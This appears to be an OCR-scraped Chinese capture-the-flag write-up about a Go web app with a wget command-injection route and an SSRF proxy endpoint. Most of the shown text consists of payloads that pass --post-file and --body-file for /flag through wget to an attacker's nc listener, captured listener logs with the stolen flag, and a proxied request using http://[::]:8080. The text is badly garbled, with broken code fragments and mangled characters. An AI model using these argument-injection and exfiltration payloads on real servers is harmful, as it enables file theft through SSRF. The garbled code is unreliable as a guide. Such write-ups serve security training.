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~ static

createMyRender() multitemplate.Renderer {
“ images r := multitemplate.NewRenderer()
r.AddFromFiles ("
r.AddFromFiles(

bannerl.jpg . .
return r

banner.jpg

banner2.jpg

“ includes main() {
7 layouts router :=

se.tmpl

£ home.tmpl . .

P err := plugin.Open(
ogin.tmpl erp I= {
7 VIews panic l:ET‘T‘:l

main.go

err := p.Lookup(
erp = {

panic(err)

HEEwget

getController(c *gin.Context) {

cmd := exec.Command(’

err := cmd.Run()

if erp 1= {
fmt.Println({"

c.5tring(http.StatusOK,

router . POST("/p ", MiddleWare(), proxyController)

router .GET(" t”, getController)
router . POST(", in", loginCentroller)
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wget?argv=1&argv post-file&argv=/flagl&argv=http:
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I'::J:jtéiszl-ﬂl_ g6 fcyxznObd4Z:~# nc -lvp 7777

: 0] (family @, port 7777)
Connection from 117.21.200.166 10568 received!
POST / HTTP/1.1
Use get/1.20.3 (linux-gnu)

identity
17777
n: Keep-Alive
o: application/x-www-form-urlencoded
Content-Length: 43

flag{4e887355-180T-4fb4-ad77-07783d442ccb}

wgetrargv=1&argv post-data&argv=/flaglargv=http:

&k T EC B -post-data {H2 R R &l #4782 T RIMEAK R/Mag, B2 EHMEERNMagF55 8

root@iZbpl485z7glzfcyxznBbdZ:~# nc -lvp 7777
' on [0.0.0.0] (family 0, port 7777}
ion from 117.21.200.166 12280 received!

pt-Encoding: identity
ost: | 7T

ontent-Length: 5

/ flag |

B WpH NI T 1R 2 2 I AR R

B, WEHEEnosqiEAN,



, true)

return
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Pretend Pretend

return

I

} else {

return




( (res) 1, 40):
i 1:
for c in strings:
data {

requests.post(url=url, headers=headers, data=data)

in r.text:
res C res
print( res)
break
else:
print(

break

RIFREUED , substrSEIG /AT

Type "help”, “copyright”, “credits” or

3 oa= 123

»»» b o= al-2]
155> printib)

52

)

[+] 4a83850073h0f4c6862d5ald48ea84T
[+] 54a83850073b0f4cé6862d5ald48eaBaft
[-] Failed
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func proxyController(c *gin.Context) {

var url Url

if err c.ShouldBindJSON(&url); err
c.JSON(500, gin.H{ : err})
return

re regexp.MustCompile(
if re.MatchString(url.Url) {
c.JSON(403, gin.H{

return

client http.Client{Timeout: 2 * time.Second}

resp, err client.Get(url.Url)

if err nil {
c.JSON(http.StatusInternalServerError, gin.H{ : err.Error()})
return

}

defer resp.Body.Close()

var buffer [512]

result bytes.NewBuffer(nil)

for {
n, err resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err nil err io.EOF {

break
} else if err nil {
c.JSON(http.StatusInternalServerError, gin.H{ : err.Error()})

return

}
c.JSON(http.StatusOK, gin.H{ : result.String()})
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POST: /proxy




1 POSTTTP/1.1
2 Host: d4b5-addd-4a90-ba72-5e033d524d5a. node4. buuoj. cn: 81

3 Cache-Control: max—age=0

4 Upgrade—Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0. 1054, 62

6 Accept: text/html, application/xhtml+xml, application/xml;g=0.9, image/webp, image/apng, */*;q=0. 8, appl ication/signed-exchange;v=b3;q=0.9

7 Referer: http://5155d4b5-addd-4a90-ba72-5e033d524d5a. noded. buuoj. cn:81/login

8 Accept—Encoding: gzip, deflate

9 Accept-Language: zh-CN, zh;q=0. 9, en;g=0. 8, en—-GB;g=0. 7, en-US;q=0. 6
10 Cookie: UM_distinctid=17b0b724a4e985-028148d4df1504-7e687969-144000-17b0b724a4f270; mysession=MTYOMD I3NjA3MXxEdi1CQkFFQ180SUFBUKFCRUFBQYVpmLUNBQU IHYzNSeWFXNWSEQW!
11 Gonnection: close
12|Content-Type: application/json
13 TEThT—15t
1
1

{
"url":"http://[::]:8080/wget?argv=—e+http_proxy=http:/. 7777&argv=—-method=P0ST&argv=--body-file=/f lagkargv=http:/, 37777
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